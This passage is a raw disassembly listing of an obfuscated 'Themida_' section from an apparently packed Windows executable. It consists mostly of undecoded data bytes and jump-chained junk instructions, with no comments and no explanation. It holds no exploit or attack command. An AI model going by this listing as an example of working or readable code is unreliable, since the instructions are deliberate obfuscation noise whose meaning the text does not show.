8124248Bh, 4C6h, 4EC8100h, 89000000h, 4B9240Ch, 81000000h dd 0E12376C6h, 53CE294Fh, 0E12376BBh, 5BDE294Fh, 4390E9h dd 4BB00h, 5C010000h, 5D5B0424h, 4C581h, 5D680000h, 0E900001Dh dd 0C639h ; --------------------------------------------------------------------------- loc_55636C: ; CODE XREF: Themida_:0055A18Aj push edx sub esp, 4 mov [esp], edi push 7A804F3Eh pop edi not edi sub edi, 3B89A202h jmp loc_55AB4E ; --------------------------------------------------------------------------- loc_556389: ; CODE XREF: Themida_:00566A03j add ebp, edx pop edx add ecx, ebp pop ebp xchg ecx, [esp] pop esp loc_556393: ; CODE XREF: Themida_:00555A77j sub esp, 4 mov [esp], esi push ebx mov esi, [esp] add esp, 4 jmp loc_55F8A3 ; --------------------------------------------------------------------------- db 0BEh dd 522725FBh, 395EC781h, 0F729689Ch, 395EEF81h, 0E95E689Ch dd 0A8F7h, 5A68F1F7h, 89000056h, 9C502414h, 0FFB116E9h dd 4C483FFh, 0C8BCB29h, 9CA9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5563E2: ; CODE XREF: Themida_:0055FA56j mov edi, eax jmp loc_55487E ; --------------------------------------------------------------------------- align 2 dw 80F5h aAqfzI db 'МqfZ,i',0 db 0E8h dd 0C8B6904h, 4C48324h, 5366D828h, 5634E9h, 6444BE00h dd 0F029368Ah, 0E9F8015Eh, 4D7h dword_556414 dd 0E92434FFh, 0C89Ah, 0E951C601h, 5588h ; DATA XREF: Themida_:005512C0o ; --------------------------------------------------------------------------- loc_556424: ; CODE XREF: Themida_:0055DF3Aj pop esp or edx, eax shl edx, 1 push 74C5h mov [esp], eax push ebp push 12h jmp loc_55512E ; --------------------------------------------------------------------------- dd 81D7F758h, 0E023B7F7h, 173D05F4h, 0B42D24B7h, 513DD32h dd 4E6B4D26h, 5778E9h db 0 ; --------------------------------------------------------------------------- loc_556459: ; CODE XREF: Themida_:0055DDACj sub edi, 708870D1h mov ecx, [esp] add esp, 4 pop esi jmp loc_55B994 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9F90100h, 6DA3h ; --------------------------------------------------------------------------- loc_556478: ; CODE XREF: Themida_:00556D9Dj sub ebx, 0EB80B410h jmp loc_562321 ; --------------------------------------------------------------------------- aUxsR db 'UXИ╠Ю',0 align 2 a_s6 db '_И6р',0 align 10h aSIMsI db ')пS╩"i>MИ',27h,'⌡',0 dd 276FBF00h, 814F159Bh, 81410E7h, 0BD554F34h, 0F416C51h dd 0E95DEF01h, 0FFFFE015h, 40E2C5Bh, 28B80489h, 51B82CD8h dd 45E97EB1h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5564CB: ; CODE XREF: Themida_:00559803j mov esp, [esp] push eax mov eax, 67813161h add eax, 278E306Eh push ebp mov ebp, 78F22D40h not ebp sub ebp, 0F7FE70F4h sub eax, ebp pop ebp add esi, eax pop eax add esi, 2 xchg esi, [esp] mov esp, [esp] jmp loc_564FF5 ; --------------------------------------------------------------------------- db 0BEh dd 4, 815EF201h, 4C2h, 24148700h, 0CFEE815Ch, 11AE17Ah dd 0CFC681C6h, 0E91AE17Ah, 0AAD2h ; --------------------------------------------------------------------------- loc_556520: ; CODE XREF: Themida_:005628B1j neg dword ptr [esp] mov edi, [esp] add esp, 4 dec edi shl edi, 1 jmp loc_55DC02 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0E95A0000h, 24EFh ; --------------------------------------------------------------------------- loc_556540: ; CODE XREF: Themida_:00559196j pop ebp mov edi, eax pop eax mov edx, [esp] add esp, 4 and ecx, edi push dword ptr [esp] push dword ptr [esp] pop edi push eax jmp loc_55F75B ; --------------------------------------------------------------------------- db 66h, 81h, 0E5h dd 81660261h, 66D36CEDh, 510FC281h, 66EA2966h, 510FEA81h dd 9A55E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_556576: ; CODE XREF: Themida_:00554F05j dec ecx and ecx, 30B42C2Dh jmp loc_555364 ; --------------------------------------------------------------------------- dw 0D5F7h dd 4594C581h, 0EE293B9Eh, 81C6015Dh, 0B3236BC6h, 0C681586Ah dd 2, 8B243487h, 31662424h, 0E99C2404h, 0FFFFAF3Fh, 6E04D024h dd 0C130CE04h, 8324048Bh, 0CB8804C4h, 64D3E9h db 0 byte_5565C1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00551390o dd 6659669Dh, 9C241CD3h, 0FFAF1AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5565D1: ; CODE XREF: Themida_:0055EEF3j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55361C ; --------------------------------------------------------------------------- db 80h dd 0D988D8C3h, 0FFF097E9h, 4C681FFh, 81000000h, 4ECh, 24148900h dd 7A13E9h db 0 ; --------------------------------------------------------------------------- loc_5565FD: ; CODE XREF: Themida_:0055A434j push esi mov esi, 4130779Bh mov edx, esi jmp loc_554DA4 ; --------------------------------------------------------------------------- loc_55660A: ; CODE XREF: Themida_:005576BBj xor ebp, [esp] xor [esp], ebp jmp loc_566284 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 8F000000h, 0E95C2404h, 0BFD3h, 53D1F75Eh, 0D36198BBh dd 14F75317h, 5B22E924h, 24890000h, 24048124h, 4, 582434FFh dd 20E7E9h, 246C0100h, 0BB535D04h, 6E247BC4h, 7BE9E9h dd 5C076800h, 2C890000h, 63A2BD24h, 6C2944E9h, 0E95D0824h dd 0F8F1h, 8B242C33h, 0C4812424h, 4, 9C240421h, 0FFAE66E9h dd 4EA81FFh, 52000000h, 42474FFh, 0FFC14DE9h, 67BBAFFh dd 12E96459h, 5A00008Fh, 8058C288h, 5066B4F2h, 0C220B8B0h dd 0FEEEE9h, 5EBC000h, 5334C380h, 4B94E9h, 77E78100h, 8132930Fh dd 7F5350C7h, 0FFFB01F1h, 3C8B2434h, 10F4E924h, 0C3810000h dd 2568CAh, 101EEE9h, 51B85000h, 402E3964h, 39644E2Dh dd 70ACE92Eh, 895C0000h, 0EC832404h, 241C8904h, 881EB252h dd 0EC815AD7h, 2, 240C8966h, 935CE9h db 0 ; --------------------------------------------------------------------------- loc_556711: ; CODE XREF: Themida_:00560984j mov dl, 2Ch jmp loc_55B339 ; --------------------------------------------------------------------------- loc_556718: ; CODE XREF: Themida_:005600D4j add esp, 4 mov eax, [esp] push edi jmp loc_55CD72 ; --------------------------------------------------------------------------- db 0BDh dd 36111C2Ah, 77BA6850h, 5583C6Dh, 43F63B90h, 0D0F7D8F7h dd 846AE9h db 0 ; --------------------------------------------------------------------------- loc_556741: ; CODE XREF: Themida_:00561128j not edx sub edx, 5C965B14h push esi mov esi, 508111FEh jmp loc_562F1A ; --------------------------------------------------------------------------- dd 84FDED81h, 0BE9DF1Ah, 5F00005Dh, 6FE9E829h, 680000B3h dd 563Dh, 0FF241489h, 0FF042474h, 685A2434h, 388Ah, 51242C89h dd 0C181E189h, 4, 8123E950h, 0E5890000h, 7A8CE956h, 88500000h dd 58E388F4h, 1C8BD988h, 4C48124h, 8B000000h, 0C4832414h dd 0B6526604h, 2D47E92Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5567B6: ; CODE XREF: Themida_:00558DF7j sub esi, 0FFFFFFFFh neg esi add esi, 7EB7928h push eax mov eax, 6D1C34AFh jmp loc_55E28A ; --------------------------------------------------------------------------- loc_5567CF: ; CODE XREF: Themida_:0055D9C4j xchg edi, [esp] pop esp xor esi, 37625D43h shl esi, 7 neg esi sub esi, 1 push edi mov edi, 574B2943h sub edi, 6AF444C6h xor edi, 0BDB1A2DEh jmp loc_55B179 ; --------------------------------------------------------------------------- db 2Ch dd 13BE9A2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556802: ; CODE XREF: Themida_:00558136j sub eax, 713B034Eh sub eax, 18A468F5h jmp loc_551967 ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 8 dd 7850EF81h, 0B6E97571h, 5FFFFC3h, 1DC84C6Eh, 8904EC83h dd 85BA2414h, 0E96DF166h, 0CCB3h, 7BFEE981h, 0D1013B48h dd 7BFEC181h, 0FAE93B48h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_556847: ; CODE XREF: Themida_:0055DCF3j push 34AFh mov [esp], edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esi jmp loc_55A45D ; --------------------------------------------------------------------------- aXau9 db 'X─Н9',0 aA9ssd db 'н─ф9ИИ└',0 db 0 ; --------------------------------------------------------------------------- loc_556877: ; CODE XREF: Themida_:00561FCEj add edi, 33D396Ch jmp loc_557812 ; --------------------------------------------------------------------------- dw 0EB81h dd 489D01BAh, 83242C8Bh, 8EE904C4h db 0DCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556893: ; CODE XREF: Themida_:00552DBCj add esp, 4 sub ecx, 74A13F9Ch jmp loc_555B22 ; --------------------------------------------------------------------------- dd 0E924048Fh, 0A801h, 0EA80C2FEh, 0A228E9CFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5568B6: ; CODE XREF: Themida_:00563FC9j mov dh, 0C0h shl dh, 8 push ecx mov ch, 0B1h jmp loc_55C691 ; --------------------------------------------------------------------------- db 1 dd 5E042474h, 0E9E18951h, 3AD2h, 94ED814Dh, 8141A045h dd 243D95C5h, 0B189E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5568E2: ; CODE XREF: Themida_:00554262j xchg ebp, [esp] pop esp jmp loc_5611D1 ; --------------------------------------------------------------------------- db 56h dd 7520BF57h, 5BBE4764h, 315B902Fh, 82CBE9FEh, 74FF0000h dd 7FE90424h db 0EAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556907: ; CODE XREF: Themida_:0055339Aj shl edx, 6 jmp loc_553F47 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 81000000h, 4C2h, 2D95E900h, 2C330000h, 242C3124h dd 5C242C33h, 0FFF4BDE9h, 0C1D2F7FFh, 0D2F704E2h, 2EA2E9h dd 4F10C00h, 59E828B0h, 0DD048124h, 0F02C7B2Ch, 0E958C688h dd 0B6D6h, 4EC81h, 0F6E90000h db 0F6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55695F: ; CODE XREF: Themida_:005528DFj pop esi add esp, 4 add edi, edx jmp loc_555DB5 ; --------------------------------------------------------------------------- db 48h, 0F7h, 0D8h dd 0D103E0C1h, 0DCB951E8h, 53232D05h, 2C1697BBh, 0F662E934h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556986: ; CODE XREF: Themida_:00552101j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 jmp loc_55B220 ; --------------------------------------------------------------------------- db 31h, 0C7h, 58h dd 9C0C781h, 0EF814E04h, 0A86DC149h, 15FF829h, 53A605D8h dd 432D1343h, 0E9234177h, 0FFFFDBD5h, 2171B3BBh, 250DE93Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5569C2: ; CODE XREF: Themida_:005622EBj sub esp, 4 mov [esp], ebx mov ebx, 670C1253h and esi, ebx pop ebx xor esi, 87ADC317h sub edi, esi pop esi add ecx, edi mov edi, [esp] jmp loc_5538D6 ; --------------------------------------------------------------------------- dw 0EC83h dd 241C8904h, 758AE9h, 0B0EC8000h, 8058E608h, 0B252C4EEh dd 0D4EA8084h, 0FFDAE6E9h, 4C483FFh, 0D935E95Bh, 0D101FFFFh dd 0E289525Ah, 87A0E9h, 81E68900h, 4C6h, 3756E900h, 0E9510000h dd 331h, 5C240C87h, 0FFAAB6E9h db 0FFh ; --------------------------------------------------------------------------- loc_556A35: ; CODE XREF: Themida_:0055BDB6j pop ebx push ecx mov ecx, 4 add edx, ecx pop ecx jmp loc_5618E8 ; --------------------------------------------------------------------------- dd 0F828AC2Ch, 0FFF492E9h, 240489FFh, 0BE34E9h, 242C8900h dd 42474FFh, 81242C8Bh, 4C4h, 0FE3AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556A6A: ; CODE XREF: Themida_:00559749j xor eax, ecx jmp loc_554A1A ; --------------------------------------------------------------------------- db 0BDh, 68h, 22h dd 0E5C17F82h, 7204E908h, 0C3FE0000h, 8001C380h, 0DA204BC3h dd 6EAC05Bh, 81D8F280h, 4ECh, 24048900h, 0F6D5B551h, 2FED80DDh dd 0E959EC88h, 2497h ; --------------------------------------------------------------------------- loc_556AA8: ; CODE XREF: Themida_:0055E75Ej add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_55CCB5 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 14D76824h, 4890000h, 3FE7E924h db 2 dup(0) aFnssA db 'f╜SИиA',0 ; DATA XREF: Themida_:005513B0o align 2 dw 489h aAC db '$╢л─Л≈',0 aSs_0 db 'АИ~:',0 db 0 ; --------------------------------------------------------------------------- loc_556AE1: ; CODE XREF: Themida_:00558779j push ecx jmp loc_556071 ; --------------------------------------------------------------------------- byte_556AE7 db 68h ; DATA XREF: Themida_:005513ECo dd 6B55h, 55240C89h, 349868h, 0F0A5E900h, 52660000h, 0C380EBB2h dd 0EDC2E92Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556B06: ; CODE XREF: Themida_:00560D2Fj jz loc_5559D9 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] jmp loc_55B7F6 ; --------------------------------------------------------------------------- dw 0C483h dd 4BE5604h, 0E9000000h, 0F947h, 6541B850h, 69E91C0Ah dd 0F7000016h, 281905D8h, 0C6896A2Dh, 24740158h, 148B5E04h dd 4C48124h, 68000000h, 608Ch, 53240489h, 10EBB850h, 5D356A32h dd 8969D123h, 4EB858C3h, 1FC1CCCh, 0A9D9E9D8h, 0EDC0FFFFh dd 0E9536603h, 814Ah ; --------------------------------------------------------------------------- loc_556B78: ; CODE XREF: Themida_:0055E881j push ecx mov ch, 6Dh neg ch jmp loc_558AC0 ; --------------------------------------------------------------------------- aHS db '╦H',9,';',1Bh,'Ин╟',0 align 4 dd 485EF031h, 0CF0AA135h, 8BC2012Bh, 0C7E92404h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556B9F: ; CODE XREF: Themida_:0055406Fj sub [esp], edi pop edi add edi, 7C2E5B67h add edi, 0DCD14370h sub esi, edi pop edi add ecx, esi jmp loc_5607B4 ; --------------------------------------------------------------------------- db 43h, 81h, 0EBh dd 0AC2E7027h, 1C8BD901h, 4C48124h, 58000000h, 8B240C87h dd 83522424h, 0F2E904ECh db 0BDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556BDB: ; CODE XREF: Themida_:00558FE7j push 45265B65h jmp loc_559BB9 ; --------------------------------------------------------------------------- loc_556BE5: ; CODE XREF: Themida_:00560A26j pop edx pop dword ptr [esp] pop esp sub [esp], al pushf jmp loc_5514EB ; --------------------------------------------------------------------------- db 66h dd 2404B30Fh, 0A8EDE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556BFE: ; CODE XREF: Themida_:0055C473j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], eax mov eax, 4 jmp loc_555097 ; --------------------------------------------------------------------------- loc_556C1F: ; CODE XREF: Themida_:0055F1F4j mov eax, [esp] jmp loc_554777 ; --------------------------------------------------------------------------- db 59h dd 151DE9h, 8EAC000h, 8904EC83h, 0E788241Ch, 0FA88D488h dd 5FE8E9h db 0 ; --------------------------------------------------------------------------- loc_556C41: ; CODE XREF: Themida_:0055C608j not edx sub edx, 57B13A39h mov ebp, edx pop edx inc ebp or ebp, 677652D7h jmp loc_55A7B3 ; --------------------------------------------------------------------------- dd 5C240487h, 0FFA88AE9h, 50C331FFh, 3052E9h, 5BD88900h dd 158C331h, 81595BDDh, 4C5h, 0BE8DE900h, 525B0000h, 0F3ADE9h db 0 ; --------------------------------------------------------------------------- loc_556C85: ; CODE XREF: Themida_:005572FDj xchg edi, [esp] pop esp jmp loc_55F3C7 ; --------------------------------------------------------------------------- loc_556C8E: ; CODE XREF: Themida_:00558F8Aj mov edi, 2E587A19h shr edi, 8 jmp loc_55D25F ; --------------------------------------------------------------------------- db 31h dd 4332404h, 2CD35C24h, 40E99C24h, 58FFFFA8h, 454E68h dd 24048900h, 0FFFEC9E9h, 241C31FFh, 5C241C33h, 24148966h dd 0E99C5066h, 0D6h, 59CD295Dh, 4BE5659h, 1000000h, 24348BF5h dd 3E0D68h, 24348900h, 0C681E689h, 4, 0B26FE9h db 0 byte_556CF1 db 0ACh, 2Ch, 3Fh ; DATA XREF: Themida_:005513E0o dd 8904EC83h, 0B450240Ch, 9CE9506Fh db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_556D03: ; CODE XREF: Themida_:0055176Bj pop ebx sub al, 0Ch jmp loc_55B395 ; --------------------------------------------------------------------------- dd offset dword_457444+4BC24h align 10h aI4Icspi db '┴4$┴ФИp╗',0 align 2 loc_556D1A: ; CODE XREF: Themida_:0055A203j push ebx jmp loc_55B5D4 ; --------------------------------------------------------------------------- dd 81242C8Bh, 4C4h, 0AEC5E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556D2E: ; CODE XREF: Themida_:00565671j push 69A3h mov [esp], edx mov edx, 13D16D9Ah sub esp, 4 mov [esp], ebx mov ebx, 13D16D9Bh mov ebp, ebx push dword ptr [esp] pop ebx add esp, 4 sub ebp, 6B3B1204h jmp loc_562B6C ; --------------------------------------------------------------------------- aRRaHsmm db 'R╤░─фHИm▄',0 align 4 dd 0C181E189h, 4, 0D71DE9h db 0 ; --------------------------------------------------------------------------- loc_556D75: ; CODE XREF: Themida_:00554DDEj mov ebp, [esp] push esi jmp loc_55F19C ; --------------------------------------------------------------------------- dw 0B850h dd 512F10F0h, 8158C329h, 957D24EBh, 7ED7686Bh, 24E90000h db 0CFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_556D97: ; CODE XREF: Themida_:00566C6Bj push ebx mov ebx, 46ED45FEh jmp loc_556478 ; --------------------------------------------------------------------------- dw 44E9h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556DA7: ; CODE XREF: Themida_:00563467j inc esi xor esi, 3AA16BDEh add ecx, esi mov esi, [esp] jmp loc_5576DE ; --------------------------------------------------------------------------- dd 0E95DEF01h, 0AA2h ; --------------------------------------------------------------------------- loc_556DC0: ; CODE XREF: Themida_:0055352Cj mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] jmp loc_55976E ; --------------------------------------------------------------------------- dw 0C181h dd 4, 0E904C183h, 0FFFFFC48h dword_556DE4 dd 9D1C77FFh, 1CD25966h, 0F8E99C24h, 51FFFFA6h, 4B9h, 0CCF2E900h ; DATA XREF: Themida_:005512F4o db 2 dup(0) aLShs db '▀$$ИH≤',0 ; DATA XREF: Themida_:00551380o align 2 loc_556E06: ; CODE XREF: Themida_:0055A6DCj mov [esp], edi push esi mov esi, 7A1F4A49h xor [esp+4], esi pop esi jmp loc_553230 ; --------------------------------------------------------------------------- db 89h, 0FAh, 5Fh dd offset dword_4EC14C+135h dd 0C3813018h, 1B7903BCh, 0BD55D301h, 5E411740h, 6C19C581h dd 0DDF77590h, 31F8E9h db 0 ; --------------------------------------------------------------------------- loc_556E3D: ; CODE XREF: Themida_:0055181Aj push ebp mov ebp, 4 add eax, ebp pop ebp push esi mov esi, 25E24346h shr esi, 4 jmp loc_560D34 ; --------------------------------------------------------------------------- dword_556E54 dd 0B60F6664h, 85E6802h, 0CDE90000h, 1FFFFD1h, 0CE815BDEh ; DATA XREF: Themida_:005512BCo dd 4B034EF6h, 7AB0F681h, 0E6817A14h, 647819F1h, 34FFF681h dd 44E94017h db 0E3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E83: ; CODE XREF: Themida_:00553A9Fj add esp, 4 push 4B5Dh mov [esp], ecx mov ecx, 3C917D5Ch and esi, ecx pop ecx sub esi, 327C5FF1h push 4B7Fh mov [esp], edx push ecx mov ecx, 49F938AEh jmp loc_562440 ; --------------------------------------------------------------------------- loc_556EB2: ; CODE XREF: Themida_:00557ABEj pop eax jmp loc_560778 ; --------------------------------------------------------------------------- dd 4CFEC381h, 6CE90BD6h, 0BB0000ADh, 5B086438h, 8245C01h dd 2444015Bh, 0EBD8E904h, 0C129FFFFh, 240C8758h, 8924248Bh dd 0BD552404h, 0CAE7EC8h, 173ABF57h, 0F79713A1h, 0C105E9D0h dd 0B1510000h, 0C0C1FEB4h, 0B05004E9h, 58C128A4h, 80FFE980h dd 0CB30EFC1h, 47916859h, 14890000h, 0C2B05024h, 7071E9h db 0 ; --------------------------------------------------------------------------- loc_556F1D: ; CODE XREF: Themida_:0055B42Fj mov esi, 96C5FEC8h add ecx, esi pop esi and eax, ecx jmp loc_556021 ; --------------------------------------------------------------------------- dd 7972F681h, 524E53F4h, 3753C0BAh, 5AD60911h, 8104EEC1h dd 0EB52A0EEh, 5EF229E5h, 134EE9h, 0C4835E00h, 8BF80104h dd 0C481243Ch, 4, 5C12222Dh, 2321E915h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556F66: ; CODE XREF: Themida_:0055FA9Ej add esp, 4 push dword ptr [esp] mov edi, [esp] jmp loc_554F70 ; --------------------------------------------------------------------------- dd 80CAEA80h, 0E950D2C2h, 7EF7h ; --------------------------------------------------------------------------- loc_556F80: ; CODE XREF: Themida_:0055F27Ej push esi mov esi, 67F56D49h add esi, 7DE671F8h add esi, 5710490Bh add esi, 10CB466Ch and ecx, esi mov esi, [esp] add esp, 4 jmp loc_553AB4 ; --------------------------------------------------------------------------- db 2 dup(0B9h), 7 dd 0CD214214h, 39ED8159h, 0E9653335h, 0FFFFB8AEh, 2C67E952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556FBE: ; CODE XREF: Themida_:00565190j mov eax, [esp] push edx mov edx, esp jmp loc_55AA22 ; --------------------------------------------------------------------------- loc_556FC9: ; CODE XREF: Themida_:005581F6j push ecx mov ecx, esp jmp loc_56601E ; --------------------------------------------------------------------------- db 0Dh, 0, 3Dh dd 0C82D231Ah, 35064C46h, 2992F83Ah, 6858C101h, 2D89h dd 68243C89h, 4, 0E92434FFh, 0BC33h ; --------------------------------------------------------------------------- loc_556FF8: ; CODE XREF: Themida_:0055B334j pop ebx push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], eax jmp loc_566245 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0BCh dd 2169BB50h, 242C8BEFh, 4C481h, 0F74F0000h, 5E7C1D7h dd 5205E7C1h, 41AE94BAh, 5AD70182h, 8904EC83h, 0E789243Ch dd 88CCE9h db 0 ; --------------------------------------------------------------------------- loc_557041: ; CODE XREF: Themida_:0055D728j add eax, esi pop esi jmp loc_55EFC1 ; --------------------------------------------------------------------------- loc_557049: ; CODE XREF: Themida_:0055F4CFj mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp xor edx, ecx mov ecx, [esp] add esp, 4 and eax, edx pop edx or eax, eax jz loc_5583F6 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_5540CE ; --------------------------------------------------------------------------- loc_557076: ; CODE XREF: Themida_:00555749j pop ebp dec edx add edx, 0FBE30C3Eh sub esp, 4 mov [esp], edx jmp loc_553FD1 ; --------------------------------------------------------------------------- dd 81FA015Eh, 26417BEAh, 243C8B5Dh, 0FFAF0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55709D: ; CODE XREF: Themida_:00557E6Bj mov [esp], eax mov eax, 489745C2h not eax add eax, 41316ED7h dec eax xor eax, 9BE68FA5h jmp loc_5615C7 ; --------------------------------------------------------------------------- loc_5570B7: ; CODE XREF: Themida_:005538D1j xor ebp, edi jmp loc_55EB2D ; --------------------------------------------------------------------------- loc_5570BE: ; CODE XREF: Themida_:005516EFj pop edi push esi mov esi, 38AC54D0h xor edi, esi pop esi shr edi, 6 sub edi, 0E5015F60h mov edx, edi jmp loc_55BE6C ; --------------------------------------------------------------------------- dd 15EF789h, 0D6E95FFBh db 94h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5570E3: ; CODE XREF: Themida_:0055FD79j sub eax, 1C51851h xor eax, 0D5878117h add edx, 700E79EAh add edx, eax jmp loc_565855 ; --------------------------------------------------------------------------- dw 0E681h dd 205F40BEh, 4AABF681h, 0F5012952h, 8124348Bh, 4C4h, 5DE92900h dd 0FFD8A4E9h, 4BBFFh, 0BF570000h, 4FBA3893h, 15FFD29h dd 93C581DDh, 5B4FBA38h, 0BACFE9h, 0B60F6600h, 6C6866C8h dd 0C896654h, 0A3A5E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557146: ; CODE XREF: Themida_:0055394Fj pop edi add edi, 6FB550DCh jmp loc_55E115 ; --------------------------------------------------------------------------- loc_557152: ; CODE XREF: Themida_:0055A511j push eax jmp loc_5608FD ; --------------------------------------------------------------------------- dd 5C24048Fh, 0FFFA92E9h, 59CD89FFh, 52E5D145h, 0F91EC0BAh dd 5AD50155h, 0FFAC88E9h, 0E9E689FFh, 0C849h, 233496BAh dd 5AD00115h, 1AB1E9h, 0B8505F00h, 9112466h, 6804E0C1h dd 13E3h, 0B9240C89h, 672B6865h, 0C8BC809h, 0B8A6E924h dd 1C87FFFFh, 0C1815C24h, 4, 5CD6E950h, 0C1890000h, 2BD90558h dd 52E97F70h, 5600008Dh, 1AE9E689h db 0F4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5571CF: ; CODE XREF: Themida_:0055E641j xor dword ptr [esp], 0B187561h pop ecx xor ecx, 0B187561h pop ebx and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push 1909h jmp loc_55A4C9 ; --------------------------------------------------------------------------- loc_5571F3: ; CODE XREF: Themida_:00551870j push edi mov edi, esp add edi, 4 push ebp jmp loc_55EFB4 ; --------------------------------------------------------------------------- dw 0FE01h dd 4BE2EE81h, 4AE97BFAh, 0FF000090h, 97E92434h, 0FF0000E7h dd 5F042474h, 5C24048Fh, 67A4E9h, 8B545700h, 0C483243Ch dd 0B9515604h, 3BBF4F0Ch, 88FDE9h db 0 ; --------------------------------------------------------------------------- loc_557239: ; CODE XREF: Themida_:00565125j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] or eax, eax jmp loc_55E702 ; --------------------------------------------------------------------------- db 87h dd 87D7F7FAh, 0F8C281FAh, 31933C0Ch, 0E9535AD0h, 8E4Bh dd 0CCBE565Fh, 81645953h, 5A6267F6h, 9ACE812Ah, 833D4F2Bh dd 0DEF701EEh, 0B0EFC681h, 0F3013110h, 0D8E9815Eh, 814DC90Eh dd 7D6830E9h, 0B13E93Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_557292: ; CODE XREF: Themida_:00554685j mov ebx, 7CB070BEh sub ebx, 60F66949h xor ebx, 6DAC1897h or ebp, ebx pop ebx push esi mov esi, 4A3B5D5Ah jmp loc_55B126 ; --------------------------------------------------------------------------- db 68h, 44h, 68h dd 1C890000h, 0AC9DE924h, 0D028FFFFh, 0A82C802Ch, 2EC81h dd 89660000h, 60B3241Ch, 8006E3C0h, 0E1E9D5E3h, 890000CDh dd 0A6BE2434h, 290A3D4Fh, 0FF082474h, 87E92434h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5572EF: ; CODE XREF: Themida_:005573FBj add edi, esi mov esi, [esp] add esp, 4 add edi, 4 jmp loc_556C85 ; --------------------------------------------------------------------------- dw 0E95Dh dd 0F61Bh, 0FFA1DEE9h, 5BDA29FFh, 34FFD701h, 794BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55731A: ; CODE XREF: Themida_:005584E1j push eax jmp loc_563D40 ; --------------------------------------------------------------------------- dd 0E00770BBh, 245C012Ch, 0DE95B08h, 81000015h, 93577EE7h dd 0B5EF8168h, 89BCCE2Fh, 243C8BFBh, 4C481h, 0D3F70000h dd 2952C381h, 0BE97C39h, 5B000094h, 57E9E9h db 0 ; --------------------------------------------------------------------------- loc_557359: ; CODE XREF: Themida_:0055DA55j mov edx, 24h add edx, edi jmp loc_55BB10 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 34870000h, 24248B24h, 24048B66h, 34FF5451h dd 0C4835924h, 4EC8304h, 0BB241C89h, 4, 7BAEE981h, 0D901555Dh dd 0B24E957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55739A: ; CODE XREF: Themida_:00562884j pop edi jmp loc_5609DE ; --------------------------------------------------------------------------- dd 0A7105BAh, 0EAC6E942h, 0C481FFFFh, 4, 8B24048Fh, 4892424h dd 0BB93E924h, 0C483FFFFh, 4C48104h, 55000000h, 121F7BBDh dd 0B6FAE956h, 0C8680000h, 89000021h, 57BF243Ch, 0B9540327h dd 94872AC4h, 2BB4E9h db 0 ; --------------------------------------------------------------------------- loc_5573E9: ; CODE XREF: Themida_:00551602j push esi mov esi, 18DC6791h sub esi, 7F312E5Ch xor esi, 99AB3931h jmp loc_5572EF ; --------------------------------------------------------------------------- dword_557400 dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFA0DBh ; DATA XREF: Themida_:005512A4o db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55815A ; --------------------------------------------------------------------------- db 81h dd 41042444h, 177FC52h, 81042444h, 4104246Ch, 5377FC52h dd 0FFFEEBE9h db 0FFh off_557435 dd offset dword_58E268 ; DATA XREF: Themida_:00551408o align 2 dw 2489h dd 4BA5224h, 1000000h, 5A042454h, 5A2434FFh, 1F5468h, 243C8900h dd 0C781E789h, 4, 7B2A6852h, 0C890000h, 7AE95624h db 80h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55746B: ; CODE 